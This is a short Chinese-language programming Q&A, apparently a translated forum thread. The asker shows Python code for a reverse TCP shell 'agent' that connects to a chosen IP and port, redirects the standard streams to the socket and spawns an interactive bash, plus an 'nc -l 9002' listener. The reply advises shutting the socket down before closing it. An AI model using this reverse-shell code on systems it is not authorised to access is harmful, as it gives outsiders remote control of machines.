我正在编写一个使用以下代码生成反向TCP-Shell的简单代理。
class ReverseShell:
def __init__(self, ip, port=9002):
self.ip = ip
self.port = port
def start(self):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((self.ip,self.port))
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
subprocess.call(["/bin/bash","-i"]);
sock.close()
然后我使用以下方式收听目的地地址:
nc -l 9002
shell连接正常。但是,如果我键入exit它会杀死shell,但数据似乎仍然被写入套接字,并停止写入stdout代理端。如果我 ctrl + c ,它会发生同样的事情,它会杀死/bin/bash
shell,但套接字仍保持打开状态,我的代理上的文本不会被写入stdout。我错过了什么?
答案 0 :(得分:3)
您需要在sock.shutdown(socket.SHUT_RDWR)
之前sock.close()
终止基础tcp连接。